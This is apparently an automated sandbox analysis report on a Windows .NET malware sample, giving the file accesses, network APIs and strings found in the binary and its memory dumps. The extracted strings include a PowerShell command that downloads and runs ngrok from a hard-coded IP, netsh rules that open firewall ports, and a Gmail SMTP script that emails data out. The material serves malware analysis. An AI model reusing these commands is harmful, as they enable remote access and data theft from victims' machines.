".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\UCRTBASE_CLR0400.DLL" ".exe" trying to touch file "%WINDIR%\System32\ucrtbase_clr0400.dll" ".exe" trying to touch file "%WINDIR%\System32\API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" ".exe" trying to touch file "%WINDIR%\System32\API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" ".exe" trying to touch file "%WINDIR%\System32\API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\MSCOREE.DLL" ".exe" trying to touch file "%WINDIR%\System32\COMBASE.DLL" ".exe" trying to touch file "%WINDIR%\Globalization\Sorting\SortDefault.nls" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLE32.DLL" ".exe" trying to touch file "%WINDIR%\System32\rpcss.dll" ".exe" trying to touch file "C:\CRYPTBASE.DLL" ".exe" trying to touch file "%WINDIR%\System32\cryptbase.dll" ".exe" trying to touch file "%WINDIR%\System32\uxtheme.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\VENOMBIN" ".exe" trying to touch file "C:\D79A203CABA18B6E1190B0022296D56F96253D4FB39B96AAAEAAA02241F28B16.INI" ".exe" trying to touch file "%WINDIR%\System32\api-ms-win-core-xstate-l2-1-0.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" ".exe" trying to touch file "%WINDIR%\assembly\pubpol303.dat" ".exe" trying to touch file "%WINDIR%\assembly\GAC\PUBLISHERPOLICY.TME" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\SYSTEM.WINDOWS.FORMS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.WINDOWS.FORMS.DLL" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Windows.Forms\c9a4cbc00f690a9e3cddfc400f6e85bb\System.Windows.Forms.ni.dll.aux" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Configuration\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\SYSTEM.DRAWING\V4.0_4.0.0.0__B03F5F7F11D50A3A\SYSTEM.DRAWING.DLL" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll.aux" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" ".exe" trying to touch file "%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Drawing\f7568d7f1b9d356f64779b4c0927cfb3\System.Drawing.ni.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Deployment\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Deployment.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\UXTHEME.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\SHELL32.DLL" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\sortdefault.nlp" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\Config\machine.config" ".exe" trying to touch file "%WINDIR%\Microsoft.NET\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\BCRYPT.DLL" ".exe" trying to touch file "%WINDIR%\System32\bcrypt.dll" ".exe" trying to touch file "C:\CRYPTSP.DLL" ".exe" trying to touch file "%WINDIR%\System32\cryptsp.dll" ".exe" trying to touch file "%WINDIR%\System32\rsaenh.dll"45:Ta5d,".exe" trying to access non-existent file "C:\FLTLIB.DLL" ".exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-FIBERS-L1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\System32\API-MS-WIN-CORE-LOCALIZATION-L1-2-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-fibers-l1-1-1.DLL" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-localization-l1-2-1.DLL" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-2.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-appmodel-runtime-l1-1-0.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" ".exe" trying to access non-existent file "C:\Windows\system32\api-ms-win-core-quirks-l1-1-0.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" ".exe" trying to access non-existent file "C:\Windows\system32\combase.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ole32.dll" ".exe" trying to access non-existent file "C:\CRYPTBASE.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" ".exe" trying to access non-existent file "C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" ".exe" trying to access non-existent file "C:\CRYPTSP.dll"46:Tacf,Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference ".ctor" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "GetStream" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_OSSupportsIPv6" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference ".ctor" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginConnect" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "EndConnect" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_Connected" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "BeginReceive" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "get_LocalEndPoint" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "EndReceive" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Send" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.TcpClient" and MemberReference "Create" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.NetworkStream" and MemberReference "" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Bind" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "Listen" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.Sockets.Socket" and MemberReference "IOControl" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"47:T948,Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ContinueTimeout" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ReadWriteTimeout" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_KeepAlive" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_UserAgent" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_Accept" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_AutomaticDecompression" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_ServerCertificateValidationCallback" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "get_ServicePoint" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebResponse" and MemberReference "get_StatusCode" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.WebClient" and MemberReference ".ctor" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.WebClient" and MemberReference "set_Proxy" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.WebClient" and MemberReference "DownloadString" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.WebClient" and MemberReference "OpenRead" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.WebClient" and MemberReference "" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin" Observed Namespace "System.Net.HttpWebRequest" and MemberReference "set_AllowAutoRedirect" in "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin"48:T863,Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") file/memory contains long string with (Indicator: "System.Net.WebClient"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to API "ogFile=%TEMP%\proclog.txtset exeFile=%TEMP%\ngrok.exeset logFile=%TEMP%\proclog.txtpowershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');%exeFile% authtoken" (Indicator: "System.Net.WebClient"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "t System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "powershell (new-object System.Net.WebClient).DownloadFile('http://91.134.207.16/update/ngrok.exe','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "owershell (new-object System.Net.WebClient).DownloadFile('deadlink','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to API "owershell (new-object System.Net.WebClient).DownloadFile('%downloadURL%','%exeFile%');" (Indicator: "System.Net.WebClient"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")49:T86d,Found reference to "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "$SMTPServer = 'smtp.gmail.com';" (Indicator: "SmtpServer"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "ECHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "SmtpServer"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found reference to "($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "SmtpServer"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "CHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "SmtpServer"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "SMTPServer = 'smtp.gmail.com';" (Indicator: "SmtpServer"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found reference to "SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "SmtpServer"; Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp, 00000000-00003440.00000001.73903.00F52000.00000020.mdmp, 00000000-00003440.00000002.75822.00F52000.00000020.mdmp")4a:T12c9,Found string "ECHO $SMTPMessage = New-Object System.Net.Mail.MailMessage($EmailFrom, $EmailTo, $Subject, $Body) >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient = New-Object Net.Mail.SmtpClient($SmtpServer, 587) >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient.EnableSsl = $true >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP1 dir=in action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP2 dir=in action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTPS dir=in action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=ESMTP dir=in action=allow protocol=TCP localport=587 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPServer = 'smtp.gmail.com';" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587);" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo.EnableSsl = $true;" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPServer = smtp.gmail.com >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPMessage.Attachments.Add($Attachment) >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient.Credentials = New-Object System.Net.NetworkCredential($Username, $EmailPassword) >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "ECHO $SMTPClient.Send($SMTPMessage) >> %PSScript%" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP1 dir=out action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTP2 dir=out action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=SMTPS dir=out action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "/k start /b netsh advfirewall firewall add rule name=ESMTP dir=out action=allow protocol=TCP localport=587 & exit" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "$SMTPInfo.Send($ReportEmail);" (Indicator: "smtp"; File: "d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin") Found string "Server = smtp.gmail.com >> %PSScript%" (Indicator: "smtp"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "($SmtpServer, 587) >> %PSScript%" (Indicator: "smtp"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "art /b netsh advfirewall firewall add rule name=SMTP1 dir=in action=allow protocol=TCP localport=21 & exit" (Indicator: "smtp"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "rt /b netsh advfirewall firewall add rule name=SMTP2 dir=in action=allow protocol=TCP localport=25 & exit" (Indicator: "smtp"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found string "/b netsh advfirewall firewall add rule name=SMTPS dir=in action=allow protocol=TCP localport=465 & exit" (Indicator: "smtp"; File: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp")4b:Td17,Observed email domain:"echo $smtpmessage = new-object system.net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin] Observed email domain:"echo $smtpclient = new-object net.mail.smtpclient($smtpserver, 587) >> %psscript%" [Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin] Observed email domain:"$smtpserver = 'smtp.gmail.com';" [Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin] Observed email domain:"$smtpinfo = new-object net.mail.smtpclient($smtpserver, 587);" [Source: d79a203caba18b6e1190b0022296d56f96253d4fb39b96aaaeaaa02241f28b16.bin] Observed email domain:"echo $smtpserver = smtp.gmail.com >> %psscript%" [Source: 600002f-_~_] Observed email domain:"echo $attachment = new-object system.net.mail.attachment($attachment) >> %psscript%" [Source: 600002f-_~_] Observed email domain:"$reportemail = new-object system.net.mail.mailmessage;" [Source: 60009ad-_~_] Observed email domain:"server = smtp.gmail.com >> %psscript%" [Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:".net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"tpserver = 'smtp.gmail.com';" [Source: 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"cho $smtpserver = smtp.gmail.com >> %psscript%" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"cho $smtpmessage = new-object system.net.mail.mailmessage($emailfrom, $emailto, $subject, $body) >> %psscript%" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"cho $attachment = new-object system.net.mail.attachment($attachment) >> %psscript%" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"cho $smtpclient = new-object net.mail.smtpclient($smtpserver, 587) >> %psscript%" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"smtpserver = 'smtp.gmail.com';" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"smtpinfo = new-object net.mail.smtpclient($smtpserver, 587);" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp] Observed email domain:"reportemail = new-object system.net.mail.mailmessage;" [Source: 00000000-00003440.00000000.71982.00F52000.00000020.mdmp 00000000-00003440.00000001.73903.00F52000.00000020.mdmp 00000000-00003440.00000002.75822.00F52000.00000020.mdmp]4c:T4a8,Found IP URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000000.71982.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000001.73903.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exeset" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exe','%exefile%');%exefile%" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp") Found IP URL "http://91.134.207.16/update/ngrok.exeet" - Source: "00000000-00003440.00000002.75822.00F52000.00000020.mdmp")4d:Tecb,Pattern match: "http://schemas.microsoft.com/SMI/2005/WindowsSettings" Pattern match: "https://google.com" Pattern match: "https://geocoder.ca/?locate=" Pattern match: "http://freegeoip.net/xml/" Pattern match: "http://api.ipify.org/" Heuristic match: "-new -extoff duckduckgo.com" Heuristic match: "microsoft-edge:duckduckgo.com" Pattern match: "https://whatismyipaddress.com/update-location" Pattern match: "http://geocoder.ca/?locate=" Pattern match: "http://127.0.0.1:4040/api/tunnels" Pattern match: "http://91.134.207.16/update/ngrok.exe\r\nset" Pattern match: "http://ip-api.com/json/" Pattern match: "http://91.134.207.16/update/ngrok.exe" Pattern match: "http://127.0.0.1:4040/api" Heuristic match: "xtoff duckduckgo.com" Heuristic match: ":duckduckgo.com" Heuristic match: "ttps://google.com" Pattern match: "der.ca/?locate=" Pattern match: "http://91.134.207.16/update/ngrok.exe','%exeFile%" Pattern match: "Microsoft.NET/Framework/v4.0.30319/" Heuristic match: "ndows.Fo" Heuristic match: "PATHEXT=.COM;.EXE;.BAT;.CM" Pattern match: "http://go.microsoft.com/fwlink/?LinkId=42127" Heuristic match: "new -extoff duckduckgo.com" Heuristic match: "icrosoft-edge:duckduckgo.com" Pattern match: "whatismyipaddress.com/update-location" Pattern match: "geocoder.ca/?locate=" Pattern match: "ip-api.com/json/" Pattern match: "freegeoip.net/xml/" Pattern match: "http://schemas.microsoft.com/SMI/2016/WindowsSettings" Pattern match: "http://www.w3.org/2000/09/xmldsig#dsa-sha1" Pattern match: "http://www.w3.org/2000/09/xmldsig#rsa-sha1" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha384" Pattern match: "http://www.w3.org/2001/04/xmldsig-more#rsa-sha512" Pattern match: "http://www.w3.org/2000/09/xmldsig#sha1" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha256" Pattern match: "http://www.w3.org/2001/04/xmlenc#sha512" Pattern match: "http://www.w3.org/2001/04/xmlenc#ripemd160" Pattern match: "http://www.w3.org/2001/04/xmlenc#des-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#tripledes-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-tripledes" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes128-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes128" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes192-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes192" Pattern match: "http://www.w3.org/2001/04/xmlenc#aes256-cbc" Pattern match: "http://www.w3.org/2001/04/xmlenc#kw-aes256" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315" Pattern match: "http://www.w3.org/TR/2001/REC-xml-c14n-20010315#WithComments" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#" Pattern match: "http://www.w3.org/2001/10/xml-exc-c14n#WithComments" Pattern match: "http://www.w3.org/2000/09/xmldsig#base64" Pattern match: "http://www.w3.org/TR/1999/REC-xpath-19991116" Pattern match: 